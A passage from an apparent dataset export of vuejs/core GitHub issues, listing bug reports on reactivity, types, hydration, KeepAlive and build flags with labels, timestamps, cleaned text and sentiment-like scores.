https://play.vuejs.org/#eNqVVU1v2zAM/SuEL3aL1Knd7pIlAbaih+2wFWuPBgbPZhJ3smRIcpohyH8fJfkrTdK0udQin56eHil2632pqnBdozfxpiqTRaVBoa6recKLshJSwxYkLmAHCylK8Anqd6m7VcHyJhGO7cpw9YAt5LgoON7VSovynmGJXO9xfU54wjPBlYZ1ymqMYGbOC3xBzC7iX+wh4gNEbBAJJ91PRYmi1kFwAbM5bBMODUdo/9BOn+NLy9ul4yPpmNK7EVxb6vHl5cf5r86dYAF0RnRtToHLsfViaJUKnX+Br1HpK2T+6JijgbX+gkimY1dEKh8tNJYVSzXSCmCaF+t5liqEaDIdm4WNNsQwqaSoolniOfGJ5yJxG4kTbz4dN2i39Y98RRyfJB7SHB51lvhmSOy67n16LfYE6e0J0rNaX5Ma9Z3R3sjTitp1USzDZyU4PSzbJ4mXibIqGMqflS6onRNv4jrI5FLGxMt3G9OyxlEbz1aY/T0Sf1YbE0u8B4kK5RoTr8vpVC5Ru/T94w/c0HeXLEVeM0K/kfyFSrDaaHSwrzXPSfYAZ9V+s0+84Msndb/RyFV7KSPUIHcWT87VePfG1Xu5N+Gt3UePglzsxokZTQedDBlLlaK65FgKqopjs8W1FYNCwXYLZt+DXe92fbUHwPgVMN4Dtl97FSbRvJmVzQo3dtrRy0xrRlPPRA256q5pNXUrAP2vwgk8akn+NbZCu38CfvPlBkjrpGOJP8xiJpll6YuSpzqlGdYQSRr4kg9oW9N6Dr+j74xqktQph/wvqc5WJy+/Sm1DBfSkOg3mZ4a8YBgysQx8V8WMsEvMR+7qplY0AfWqUKENmLHZ/Gywr+JsgGpBrY2n7Hy3rnhfl2m2oazolCzzz61HHZPVW1iKmmvM2yqZIBk8mO/0RH6vUZpnRy/kJvwURpG3+w9vZ4NB

### Steps to reproduce

1. Add custom components in the `<template>` of the parent component with different prop orders.  
```html
<template>
  <test-el :prop1=""value1"" :prop2=""value2""></test-el>
  <test-el :prop2=""value2"" :prop1=""value1""></test-el>
</template>
```  
2. Use `watch` in the child component to monitor changes in a prop and record the value of another prop.  
```js
  watch: {
    prop1: {
      handler(val) {
        console.log('prop1 changed, p... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,scope: custom elements",2024-12-26 11:05:54+00:00,2025-11-05 08:50:02+00:00,2,"has workaround,:hammer: p3-minor-bug,scope: custom elements",313.9056,using to observe a prop in a vue custom element the other props accessed in the listener are the old values vue version link to add custom components in the of the parent component with different prop orders use in the child component to monitor changes in a prop and record the value of another prop js watch prop handler val console log prop changed p truncated,bug,0.6249
vuejs/core,2759453967,A reactive variable create from the `Map` data while lost some new functions after use iterator methods like `values`,"### Vue version

3.5.13

### Link to minimal reproduction

[Vue SFC Playground](https://play.vuejs.org/#eNqNVM1u00AQfpWVL0mR47aEcjBppIJ6AAmoWm51FW3tcepmvbvaXedHUa4ICZAQUrlxQBy48SNOFa9DAo/BeG0nDq0KiWR7Z+b75tvZmZ06e1J6wwwc3+noUCXSEA0mk4RR3t8NHKMDpxvwJJVCGTIlCmhokiGQGYmVSEkDsY17awHxmi/gAQ8F14akVPYUHZFdwmFEHlPZ3Ki7pBLjCTqrDM0yHoOqsMSAokaoXk7fW/GVX96Qsgz0ivZqfJVk+V3DLFH80LIOACO79pXw63OvIAcl8b9ANukqF1aiF2ccN4xLhDciJaQLQ1ATN04YwvHFIzdm1GDF3FiofRqeuUjlKoiyEFwtUnANHeBD7ClFJ1jygpwl+Nglxw0OY9NwydEkPRXMq0QtDUYcGZXw/jPad4nneWuiPC1ZYpoNt7FxEvDOZtEk2BK4MJBKFAa4IqQTJUMSMqo1to0Gi7a9Q/CXO7uLi6+L15/nb18t3l0uvl90NnNjzT9/8X7+6SVuc/7l8ve3D1f8P398/PXm+fX+SgoZtrBGqCA/ARHbGgQO8XFZhpZk06k9pNmsTlPuwo+ooS0YIxaZbD80MXgDt4Ow1fr/0LY11vAry18Mnc31kpauNTMutZkwIDoUEiK0eGW1yTQHnQoVgWqNksic+WRbjskW/vGNU7r0WgafaMGSyNqjBM+ZTnzSV6Ul/2hVeVuhYFnKtY/jKYGaZtsl27HawMhZLqmS0L1ViJA0irCjfLLl3b29oyCtJy+lWVGFwBullXZUIJRPThkNB9ZusKtblCV97pMQOHb1VTXHtbOIKdNwUugryXCECgz2dZ4Wi+m4eOfh/MRJ3zvXguPFaBGBE4pUJgzUU2kHI3D8giv3UcbE6JG1GZWBW9nDMwgH19jP9Ti3Bc6BAg1qCIGz9Bmq+oBNm7v3j57gLmvOVEQZw+gbnIeAtcuK8cvD7mc8Qtm1OKv2ob2x87HX+2MDXFebyoXmkTMbHzh4iz+4YesruW3vjsVhRbGKPbzEck4sYNvb8bbbzuwPQ/ZEVA==)

### Steps to reproduce

do nothing

### What is expected?

all result is `true`

### What is actually happening?

some method is lost

### System Info

```shell
System:
  OS: macOS 14.6.1
  CPU: (8) arm64 Apple M2
  Memory: 76.94 MB / 16.00 GB
  Shell: 5.9 - /bin/zsh
Binaries:
  Node: 22.12.0 - ~/.local/state/fnm_multi... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2024-12-26 08:20:01+00:00,2026-01-19 00:50:36+00:00,4,"scope: reactivity,:hammer: p3-minor-bug",388.6879,a reactive variable create from the data while lost some new functions after use iterator methods like vue version link to vue sfc playground do nothing what is expected all result is what is actually happening some method is lost system info shell system os macos cpu arm apple m memory mb gb shell bin zsh binaries node local state fnm multi truncated,bug,0.0
vuejs/core,2757595651,"Directive type definition has wrong ""modifiers"" definition","### Vue version

3.5.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/JWVLwGppILCpUor8agEiAKCHi2hkm6LS2Jb9iYUhfw7a5c+DqiHRPbM7Hp2pxGX1qZ1haIvMsLSFlPCodQA2UzVUJ8QekqnRTHMugwwk3X3ZHz1uVOWwCNVFoqpXgykIC8Fs6q0xhE0UE+4C7Qwd6aEJO3GexJ6ratZKzpclRs9V4t06Y1mP02wIUVuSqsKdE+WlNHcuQ+RCRwbM1/3ESNXYWeD5x+Yf/6DL/0qYFI8O/ToapRiy9HULZDW9Oj1EVd83pKlmVUFqw+QL+hNUQWPa9lVpWdse08X3d7FpSi9mPjRilD7zVDBaFC2US8Fh3J9YPSd3V56HuukbnmLcbcpeV7g3/7p2yKHcKMc5qRq3AbBLyTScYr84SpqOQFOKvbo7yqy28n4YVRgiZo64Mmx/Q4kPE8CP5BoozEZwoDNcSeAd5wbh2NTaTo6hoYHYrgNP/b3VqMLM7O/XnqRnp6J9hdUM9ct

### Steps to reproduce

Create a simple directive:

**directives/vTest.ts**
```ts
import type { Directive } from 'vue'

export const vTest: Directive<HTMLElement, string, 'all' | 'none'> = {
  beforeMount() {},
}
```

Import it, **not** using all the modifiers at once.

**App.vue**
```vue
<template>
  <div v-test.all></div>
</template>

<script setup lang=""ts"">
import { vTest } from './directives/vTest'
</script>
```

### What is expected?

No error.

### What is actually happening?

The following error appears (in VSCode), mentioning a ""runtime.core.d.ts"" type:
![image](https://github.com/user-attachments/assets/fe9f69d9-2eff-4e1c-b75e-3acb256ad91c)

Thye issue appears to be here:
![image](https://github.com/user-attachments/assets/500ad7e6-9867-44c0-a03e-854e9728904a)

Where `DirectiveModifiers` maps to `Record<K, boolean>` where it should be `Partial<Record<K, boolean>>`, since n... [TRUNCATED]",scope: types,2024-12-24 10:51:56+00:00,2025-03-19 03:39:00+00:00,1,scope: types,84.6994,directive type definition has wrong modifiers definition vue version link to create a simple directive directives vtest ts import it not using all the modifiers at once app vue what is expected no error what is actually happening the following error appears in vscode mentioning a runtime core d ts type image thye issue appears to be here image where maps to where it should be since n truncated,others,-0.8481
vuejs/core,2755042227,Memory leak,"### Vue version

3.5.12

### Link to minimal reproduction

none

### Steps to reproduce

Regarding the issue of memory leakage in obtaining focus for input boxes, it has been determined that it is a bug in Chrome. Is there a temporary solution to solve this leak? Our project relies on browsers and has already been launched for customer use. Currently, memory leaks often cause crashes, and we do not know when Chrome will fix this bug. We hope to provide a temporary solution. Thank you!

### What is expected?

Resolve memory leaks

### What is actually happening?

Memory leak on input focus

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-23 01:55:39+00:00,2024-12-23 03:02:26+00:00,1,nan,0.0464,memory leak vue version link to none regarding the issue of memory leakage in obtaining focus for input boxes it has been determined that it is a bug in chrome is there a temporary solution to solve this leak our project relies on browsers and has already been launched for customer use currently memory leaks often cause crashes and we do not know when chrome will fix this bug we hope to provide a temporary solution thank you what is expected resolve memory leaks what is actually happening memory leak on input focus system info no response any additional comments no response,others,0.2732
vuejs/core,2752371621,tsx中使用指令传递数组对象的时候指令编译出来的结果不对,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/BVrTyCVVG3hUiWVAPUAB0DADSNkJUua4tiWH6FSlH9nnVBopbY3787s7OzILVwbkzQBYQ6px9pI4XHBFWNta1EVaLtut5rGMh3vMKl0ua2MZ1KoMuPg3YYDc+iDITjXynk2DLOMnZ2zbMHaKGmJYRVLi6phzYUIfpW1bxwmHEa/NA5TDu/dIh0Th7Ro9b7gdF9xgAQ1D+kc2yn2FqTj4RqqYES3kOZnVSZrpxVF1K/hkOvaVBLto/EV7eQwHwxETEipv+/7nrcBR9t+vsL860B/HeOa0+PJokPbIPneYl7YEv0AL18ecEPvP7DWRZDEPgE+o9MyRI8D7Saogmzv8Hq3d7XR1leqfHXLjUfltkdFo5HZ9XwO9E9uT5z+b3eWXPZzFCml+NGgjZoU4Cy5SiYz6H4AbRLNEw==

### Steps to reproduce

将下列 tsx 代码编译之后的到的结果即可查看到差异
`<div v-auth={[""1"", () => ""2""]}></div>` 和  `const a = [""1"", () => ""2""]
  return <div v-auth={a}></div>` 编译的结果不一样
```ts
<template>
  {{render}}
  {{render2}}
</template>

<script lang=""tsx"" setup>
const render = () => {
  return <div v-auth={[""1"", () => ""2""]}></div>
}

const render2 = () => {
  const a = [""1"", () => ""2""]
  return <div v-auth={a}></div>
}
</script>
```
编译结果
```ts
/* Analyzed bindings: {
  ""render"": ""setup-const"",
  ""render2"": ""setup-const""
} */
import { defineComponent as _defineComponent, resolveDirective as _resolveDirective, createVNode as _createVNode, withDirectives as _withDirectives } from 'vue';
const __sfc__ = /*@__PURE__*/_defineComponent({
  __name: 'App',
  setup(__props, {
    expose: __expose
  }) {
    __expose();
    const render = () => {
      return _withDirectives(_createVNode(""div"", null, null), [[_resolveDirective(""auth""), ""1"", () => ""2""]]);
    };... [TRUNCATED]",,2024-12-20 09:56:39+00:00,2024-12-23 01:52:04+00:00,2,nan,2.6635,tsx vue version link to tsx const a return ts analyzed bindings render setup const render setup const import definecomponent as definecomponent resolvedirective as resolvedirective createvnode as createvnode withdirectives as withdirectives from vue const sfc pure definecomponent name app setup props expose expose expose const render return withdirectives createvnode div null null resolvedirective auth truncated,others,-0.4215
vuejs/core,2752049926,Error reported due to esbuild@0.24.1 version issue after project creation,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-7e6aek9b?file=package.json&terminal=dev

### Steps to reproduce

1. 使用 pnpm create vue@latest 创建项目
2. 安装依赖
3. 启动项目
<img width=""1215"" alt=""image"" src=""https://github.com/user-attachments/assets/c90016dd-cc43-4a51-9319-203144c19ba6"" />
 

### What is expected?

normal operation 
目前是 esbuild@0.24.1 更新到此版本。导致项目报错，换一个低版本0.24.0就正常运行

### What is actually happening?

<img width=""1215"" alt=""image"" src=""https://github.com/user-attachments/assets/ce3e4975-1dc2-4a44-aca9-20c92060406b"" />


### System Info

```shell
System:
    OS: macOS 15.1
    CPU: (10) arm64 Apple M2 Pro
    Memory: 69.50 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 18.16.0 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 8.19.2 - /usr/local/bin/npm
    pnpm: 8.5.0 - /usr/local/bin/pnpm
    Watchman: 2023.10.23.00 - /opt/homebrew/bin/watchman
  Browsers:
    Chrome: 131.0.6778.205
    Edge: 131.0.2903.112
    Safari: 18.1
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```


### Any additional comments?

_No response_",,2024-12-20 06:36:15+00:00,2024-12-20 08:09:27+00:00,2,nan,0.0647,error reported due to esbuild version issue after project creation vue version link to pnpm create vue latest what is expected normal operation esbuild what is actually happening system info any additional comments no response,bug,-0.25
vuejs/core,2749447702,KeepAlive includeremovedeactive component应该从 keep-alive storageContainer 中删除组件,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVMGO2jAQ/RXL6oGVdhNBe6IBdUs5bA9t1eVW9+AmE+LFsSPHDkiIf+/YCQksLO0t9rw382bmOXv6WFVR44BOaVKnRlSW1GBdNWdKlJU2luyJgfyeKNjZlUg35EByo0vCKLIY/djjFrqsxsdYFIejz/waMznHTHoMUxKweqG3baqZLzyyxsEdRn1MqFS6DLrIL0YDkNF7zBZyMfrbY5nKnUqt0IqkBVdreMakozuyZ4oMBaKGS+eT5VzWgLTDBe+pLXikdvV7YqfAl0U66Wc0QsJs3nII4RKMHW0AqkcpGljwtIAvoonSQshsKaEEZRfaKXvn8QffACpJ4nYduAg8WCgryS3giZDkj7MWNX5KJRabMTo0yejc90dSlEUmSdwib7G6FpFooNQNEC/0gXulIcv4PMnKcFWLMCLFS8A0OfdsUurMn7SzD0LhmVcVcBNISDtJOu2miODuC2u3MAS2q28eRI7xflWYLz7HTBADuLb+PomHGq3UeNCKF0ncz5Det2t75XsEwS7YNIOcO4nWD0vFNqeDwXA5uKBb2ynG84BNYvy6Vjg8i/PC/Vt7+5n9S5t/B/6u9FaC7OjZS1cGh6HRAjoDjoZvUN0JYytUprfRhWXR8rYQdfQOZFRxg77t7Nsn/M/ZoKmuzMbWqVa5WEcvtVY4n6AGfYoEgW/oe+VXWTM6PepklEupt1/Dnf9RhJYCp4B0c+X+pd75O0Z/GKjBNDjaPma5WYNtw8vnbzi1kyDa20lE3wj+hFpL5zW2sM9OZSj7BBfUPoVVC7Ve1cudBXRo15QXOiwmLN7P6q3WB7nvow+Bh+Onh7/L4/OJ

### Steps to reproduce

类似的问题 #5258
在这个的基础上如果keepalive被Transition包裹则还是会导致无法回收

点击show comp2按钮显示comp2
单击remove keep-alive comp1按钮comp1从保持活动状态中删除
KeepAlive 的 storageContainer 仍然有 comp1.element

### What is expected?

储存容器移除 comp1.element

### What is actually happening?

存储容器仍有 comp1.element

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-19 07:10:54+00:00,2024-12-19 08:37:43+00:00,1,nan,0.0603,keepalive includeremovedeactive component keep alive storagecontainer vue version link to keepalive transition show comp comp remove keep alive comp comp keepalive storagecontainer comp element what is expected comp element what is actually happening comp element system info no response any additional comments no response,others,0.2023
vuejs/core,2742265099,vue 3.4.15及以上版本中发现 compiler-sfc.cjs.js 引用magic-string^0.30.11，6小时前magic-string更新导致报错,"### Vue version

3.4.15

### Link to minimal reproduction

https://github.com/vuejs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml

### Steps to reproduce

<img width=""537"" alt=""ef020707303a81410a989e08b0602e0"" src=""https://github.com/user-attachments/assets/5afd0a4c-e104-4593-b445-1b7c8fd4843f"" /> <img width=""900"" alt=""c3d7c26a1b1e5a30c8063412c9fd630"" src=""https://github.com/user-attachments/assets/bfc361ac-998e-47d1-a16e-650b94315831"" />
更新导致 ES 模块和 CommonJS 模块的兼容性

### What is expected?

magic-string引用更新导致 ES 模块和 CommonJS 模块的兼容性问题，导致新install的包运行时直接报错

### What is actually happening?

magic-string引用更新导致 ES 模块和 CommonJS 模块的兼容性问题，导致新install的包运行时直接报错

### System Info

_No response_

### Any additional comments?

_No response_","need more info,can't reproduce",2024-12-16 12:31:17+00:00,2024-12-20 00:09:48+00:00,1,"need more info,can't reproduce",3.4851,vue compiler sfc cjs js magic string magic string vue version link to es commonjs what is expected magic string es commonjs install what is actually happening magic string es commonjs install system info no response any additional comments no response,others,-0.5267
vuejs/core,2740739842,watch with deep: true incorrectly collects parent dependencies,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1kk1PwzAMhv+KldOQqk4ITmWbBGgHOAACxCmX0npdR5pESbpNqvrfcVy2AZomceCW2K/txx+duLY2XbcoMjHxhattAI+htTOp68YaF6CDTR6KZQIO8yLUa4QeFs40IAXFSXEltdSF0T6AeV/BdK8bdaDRBywzyrEwJoNzCu3POIBzjqQGGJ3BdBZD00GdkjRhh8bNW65aTMCokl8s7aITIJY0ClNlqpEUnI/q/Y7ICDM5Yo8UAL3U/4NTItphbn9n4modxBQZBNfSwHeYByyaMxce5kohPQsm42GJtD76BGysygMOv/GPr0hE8AS9qKt05Y2mA+CEUhSmsbVC92hDTU1JQfsbepQiV8ps7tkWyRiVY5ZYfByxr/w22qR4cujRrele9r6QuwrD4J6/POCW3ntnY8pWkfqE8xlp4G1kHGQ3rS4J+5uOae/4jGtdvfr5NqD2u6Yi6GHgfM23J1o/4F6kl1/H04v+EyfJFQA=

### Steps to reproduce

```js
const obj = reactive({ nested: { foo: 1 } });

watch(
  () => obj.nested.foo,
  (newValue, oldValue) => {
    console.log(""watch triggered newValue, oldValue: "", newValue, oldValue);
  }
);

watch(
  () => obj.nested.foo,
  (newValue, oldValue) => {
    console.log(""watch deep triggered newValue, oldValue: "", newValue, oldValue);
  },
  { deep: true }
);

obj.nested = {
  foo: 1,
};
```

When using watch with the deep: true option, the getter execution triggers dependency collection for the entire object tree, including parent properties, instead of only the target property. This causes the callback to be triggered when a parent property (e.g., obj.nested) is modified, even though the target property (e.g., obj.nested.foo) itself has not changed.


### What is expected?

The callback should only be triggered when obj.nested.foo changes, not when the parent ... [TRUNCATED]",,2024-12-15 16:11:54+00:00,2024-12-16 03:24:39+00:00,1,nan,0.4672,watch with deep true incorrectly collects parent dependencies vue version link to when using watch with the deep true option the getter execution triggers dependency collection for the entire object tree including parent properties instead of only the target property this causes the callback to be triggered when a parent property e g obj nested is modified even though the target property e g obj nested foo itself has not changed what is expected the callback should only be triggered when obj nested foo changes not when the parent truncated,others,0.6808
vuejs/core,2738498830,Vue flags not working correctly,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/rstoenescu/vue-flags-bug

### Steps to reproduce

Please see the reproduction repo (a barebones Vitejs project folder): /vite.config.js for flags configuration and /src/App.vue for an Options API component.

```
define: {
  // No effect, it's still included
  __VUE_OPTIONS_API__: 'false',

  // Has the opposite effect: devtools will be enabled for prod builds!
  // Commenting this out will disable devtools in prod builds.
  __VUE_PROD_DEVTOOLS__: 'false',

  // Has the opposite effect: mismatch details will be included in prod builds!
  __VUE_PROD_HYDRATION_MISMATCH_DETAILS__: 'false'
},
```

1. Run `yarn build` then serve the /dist folder. App.vue, which is an Options API component runs fine and executes its Options API definition.
2. Run `yarn build` with vite.config.js > `__VUE_PROD_DEVTOOLS__: 'false',`. Serve the /dist folder and notice that Vue Devtools is available and running. Then again with the vite.config.js `__VUE_PROD_DEVTOOLS__` line commented out. Notice that Vue Devtools is not available.

### What is expected?

1. Options API to not be included when define > `__VUE_OPTIONS_API__` is set to false.
2. Vue Devtools not to be available for production builds when define > `__VUE_PROD_DEVTOOLS__` is set to false.
3. Hydration mismatches will still be available in production builds when define > `__VUE_PROD_HYDRATION_MISMATCH_DETAILS__` is set to false.

... [TRUNCATED]",,2024-12-13 14:14:42+00:00,2024-12-16 00:48:57+00:00,2,nan,2.4405,vue flags not working correctly vue version link to please see the reproduction repo a barebones vitejs project folder vite config js for flags configuration and src app vue for an options api component run then serve the dist folder app vue which is an options api component runs fine and executes its options api definition run with vite config js serve the dist folder and notice that vue devtools is available and running then again with the vite config js line commented out notice that vue devtools is not available what is expected options api to not be included when define is set to false vue devtools not to be available for production builds when define is set to false hydration mismatches will still be available in production builds when define is set to false truncated,others,0.4767
vuejs/core,2737661676,incorrect default value of boolean prop in defineProps ,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUstOwzAQ/JWVLwWpSg5wqtIiQD3AASrg6EuabIOLY1t+lEoh/87aoQ8kaG87O7P27NgduzUm2wRkE1a4ygrjwaEPBmSpmiln3nE240q0RlsP97o1sLK6hVGWRxBHR1xxVeTDNGkJeGyNLD0SAijSVE51kR8RbEyHV1qtRJOtnVbkoItyzirSC4n22XihFRmYQGIiV0qpPx9Tz9uA412/esfq44/+2m1jj7OFRYd2g5ztOV/aBv1Az1+fcEv1nmx1HSSpT5Av6LQM0eMguwuqJttHuuT2IWUnVPPm5luPyu2Wikajsk96zijLGNV/qx/sXmXXaY6rnlLcvcOZJ6SonQdjtXEwhRpXQuEioiLdUN5MwHlLNpObJUEV2iXaBCuCS60llirh+oDhC2jvdFxNhmYXl6d/Qy02qQDouh87PW1CTD5Qv39J/w0r/uD7

### Steps to reproduce

define props like:
```ts
const props = defineProps<{
  a?: string,
  b?: number,
  c?: boolean,
  d?: boolean | undefined
}>()
```
got the result:
```
{ ""c"": false, ""d"": false }
```

### What is expected?

default value of (not required) boolean props should be undefined

### What is actually happening?

got false

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-13 07:29:45+00:00,2024-12-13 07:33:59+00:00,1,nan,0.0029,incorrect default value of boolean prop in defineprops vue version link to define props like got the result what is expected default value of not required boolean props should be undefined what is actually happening got false system info no response any additional comments no response,others,0.4404
vuejs/core,2735339893,Hydration mismatch with non-printable characters,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kUFLxDAQhf9KnMteli5SvSxVUFlQDyoqeAlIacfaNU1CMqmF0v/uJGW1B9nc8t6byTeTEa6szfqAsIXCV661JDxSsJdSV0Z7EoQDiQuxukWljHgzTtUnUrqV1MVmLuAoXwg7q0pCvglRxHrBZxznBtOU5E3Ui80iC2sgzy99tE2290YzxxijEirT2Vahe7TUMomErUhO9Epm+b5PGrmA64NefWL19Y++90PUJDw59Oh6lPDrUekapNnevTww7cLsTB0Up4+Yz+iNCpFxjl0HXTP2Ipdo7zprHLW6efW7gVD7w1ARNCanlJfAn3FzZPQ/3Dw7S3VST7zF9x5d7MkLzLPz7DSH6Qet+5ud

### Steps to reproduce

1) Open the reproduction
2) Look into the console

### What is expected?

No hydration mismatch should occur since Vue should recognize that by retrieving the content of an HTML element from the DOM, it will not receive these characters.


### What is actually happening?

When Vue renders a string with non-printable characters on the server, a hydration mismatch appears on the client.
For example:
```ts
const text = 'Hello World!\r'
```

_Edit: Actually, it seems that only `\r` is causing problems based on my testing._

### System Info

_No response_

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope:hydration",2024-12-12 09:21:50+00:00,2024-12-12 10:41:24+00:00,1,":hammer: p3-minor-bug,scope:hydration",0.0553,hydration mismatch with non printable characters vue version link to open the reproduction look into the console what is expected no hydration mismatch should occur since vue should recognize that by retrieving the content of an html element from the dom it will not receive these characters what is actually happening when vue renders a string with non printable characters on the server a hydration mismatch appears on the client for example edit actually it seems that only is causing problems based on my testing system info no response any additional comments no response,bug,-0.8074
vuejs/core,2733970230,Typescript error: required named v-model props passed in camelCase but expected in kebab-case,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUl1PwjAU/StNX9AERhB9QTABwoMmfkR9bGLGdoFiaWvbIWbZf/e2kw0ETHzaes69t+eenpwOtY7WGdAe7TtYaRE7uGGSkH6y4CJtJWqllQTpyLq1UimInjZKg3FfrXjAqIHZkNFDblpyI+TaOK7f3pmNR5sYrh2x4DJNRCznWO4so8hyvM84khNsJwWZGbUiDRTYuK64sVc2roSVJVH7l2C/lW9iMlHSOj9vSAb+c9Y5R7xCRz/ohUf77VIbKqFN1IRVMz6PllZJtCj3zjDq7+ACzKN2HKcw2iOB8VwshPq8C5gzGTS3eLKA5P0IvrQbjzH6ZMCCWQOjFediMwdX0pOXB9jgf0Wi45nA6j/IZ7BKZF5jWTbKZIqyd+qC2ttgK5fzVzvZOJB2u9SeUOsMT4IYD3u0CByjaLR/jVOO1Ft0o8vQx2SB5h55r4MU5jnZZmpICmzcg0YB+ke4yjevJw5ICjMu4d6n96xRR7vRDAn8yLiBtNyYFHVqagGnJkxPTthP2NsajPcbN+9GV1GnS4tvs5I37Q==

### Steps to reproduce

I'm not sure why in the linked project I don't have any type errors, but I get them locally when running the same code example. If you have a named `defineModel` with `required: true` and try to pass it via kebab case to the child component, typescript complains that `property-a` isn't being passed. It does say that `propertyA` is being passed. I noticed that only the v-model props are being expected in kebab-case, the others are expected in camelcase.

I was also having additional runtime problems with kebab casing, but these were resolved in version 3.5.12. It seems the typescript issue is a lingering problem.

![Capture d’écran 2024-12-11 153229](https://github.com/user-attachments/assets/58b09f05-9f61-467e-8114-afd25ec9fbd5)


### What is expected?

I called `defineModel` with the string `property-a` and I ex... [TRUNCATED]",scope: types,2024-12-11 20:45:30+00:00,2025-02-25 14:25:48+00:00,0,scope: types,75.7363,typescript error required named v model props passed in camelcase but expected in kebab case vue version link to i m not sure why in the linked project i don t have any type errors but i get them locally when running the same code example if you have a named with and try to pass it via kebab case to the child component typescript complains that isn t being passed it does say that is being passed i noticed that only the v model props are being expected in kebab case the others are expected in camelcase i was also having additional runtime problems with kebab casing but these were resolved in version it seems the typescript issue is a lingering problem capture d cran what is expected i called with the string and i ex truncated,bug,-0.9432
vuejs/core,2732236231,子组件直接作为父组件根元素时，父组件的事件会传递到子组件，类似事件冒泡,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqtU8tO6zAQ/RXLm6RSlS7uXUFa8VAXIPEQsMMsImdaDMk48qNUqvrvjB1SQkkRCzaW533m+HjDT5smW3ngRzy30qjGMQvONzOBqm60cey2MIDuXJOFdGELo2uWZJM9f2iSCFx4lE5pZJVepqONQMakRqsryIInaWJVMjoWuBWYT9qZNI0MB3VTFQ7IYizfn3tC9VPB6RR8lu+Pp5p80mvAx9xZmrxQy+zFaqT9IhjBJZWoCsxNE3BawY9YjIRYUVX67TL6nPEw7vzyGeTrgP/FroNP8FsDFswKBN/FXGGW4Nrw/P4a1nTfBWtd+oqyfwjeAbHmA8Y27cxjSbB7eRHtRXwlhcsHO187QNstFYCGzG3MF5zeJ7B1aPVPuP+y/7GOXohYHHjmw1rZMI1X2qODcsyo3bk3ofoCrStQAtu26olgBCcNfNTda/wusL7zQ11BSo6prt10YEYapCVwhyNNR9PZQR2Ou15RkKMowx802YdEGvxifhfg/gJ/yFtLBNTKWWKhhIVCmAcrfUxov+Qp7PN3bNEHGqJq4LNHSGnE8Is/XqpVvLRXdiIrJV+7T85mfQLzSZfc3b7SvX0HaRytMg==

### Steps to reproduce

点击子元素

### What is expected?

控制台不该有任何输出

### What is actually happening?

控制台输出了 'parent'

### System Info

_No response_

### Any additional comments?

不清楚是不是就是这样设计的",,2024-12-11 08:32:33+00:00,2024-12-11 08:39:57+00:00,1,nan,0.0051,vue version link to what is expected what is actually happening parent system info no response any additional comments,others,-0.296
vuejs/core,2730398601,怎样定义方法暴露给JCEF(Chrominu内核)调用,"### Vue version

3.5.1

### Link to minimal reproduction

无

### Steps to reproduce

如果是 javascript，只要定义方法，直接可以被 jcef 的 executeJavaScript 调用。
function fnAlert(){....}

jcef调用：executeJavaScript('fnAlert();','',0)

但在vue3中，使用setup模式定义方法，在jcef中调用提示 Uncaught ReferenceError: fnAlert is not defined
vue3中定义

`
<script setup lang=""ts"">
function fnAlert(msg) {
  alert(msg);
}
defineExpose({
  fnAlert,
});
</script>
`

在vue3中如何像javascript把方法暴露出来给chromium内核浏览器执行 executeJavaScript  来调用方法。

### What is expected?

向浏览器暴露方法

### What is actually happening?

...

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-10 15:08:52+00:00,2024-12-10 15:12:26+00:00,0,nan,0.0025,jcef chrominu vue version link to javascript jcef executejavascript function fnalert jcef executejavascript fnalert vue setup jcef uncaught referenceerror fnalert is not defined vue function fnalert msg alert msg defineexpose fnalert vue javascript chromium executejavascript what is expected what is actually happening system info no response any additional comments no response,others,-0.296
vuejs/core,2729672988,@vue/compat传递组件未声明的props，没有作为attrs穿透,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFuwjAM/ZUolxapgsN2qmDShjiwA5s2tFMuVWogEJIocRlSxb/PSSmrpm252e/Zfnl2yx+dG58a4CWfBumVQxYAG/cgjDo665G1NWyUgbml0IDBYldIDxXCx8rWcGEbb49McOohuDDSmoBsDWdkM/ajMm+FYV373HnrQtFWiD5cRgmgF6uthrG227ztKFfGlcA8VXvD8tHsYZdntTplRRanZYlxESZSexlLE0jFQG0eqUWcJnUVQpkhBMwKiq2ZayUPZWzcDmVkMuahzka35sJMJ51X5BIFCEenaQRFjE1l/11WqjATnEQIPiFsOhkQecEx0JyN2o73wRryP5kgeKxXGvyLQ0U6BC/Z1R7BK63t53PKoW8gCk95uQN5+CW/D+eYE/zVQwB/ohXdMKz8FrCDF+8rMmYAHm3daGL/A74BedREjR3tqTE1yR7wktpluiJltuuwOCOY0H8qCk07S/x0QPFS/vr6t9y78X2/a375Aun37qM=

### Steps to reproduce

如以上repo

### What is expected?

在vue中，class 和 onClick都会作为attrs被传递,因为并没有在组件的props中声明


### What is actually happening?

在@vue/compat中，props和attrs中都没有class 和 onClick 属性。

此行为导致vant组件库大量组件无法使用

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-10 10:18:46+00:00,2024-12-11 01:17:16+00:00,2,nan,0.624,vue compat props attrs vue version link to repo what is expected vue class onclick attrs props what is actually happening vue compat props attrs class onclick vant system info no response any additional comments no response,others,-0.5267
vuejs/core,2726585872,多次切换checkbox，vnode没有释放,"### Vue version

latest

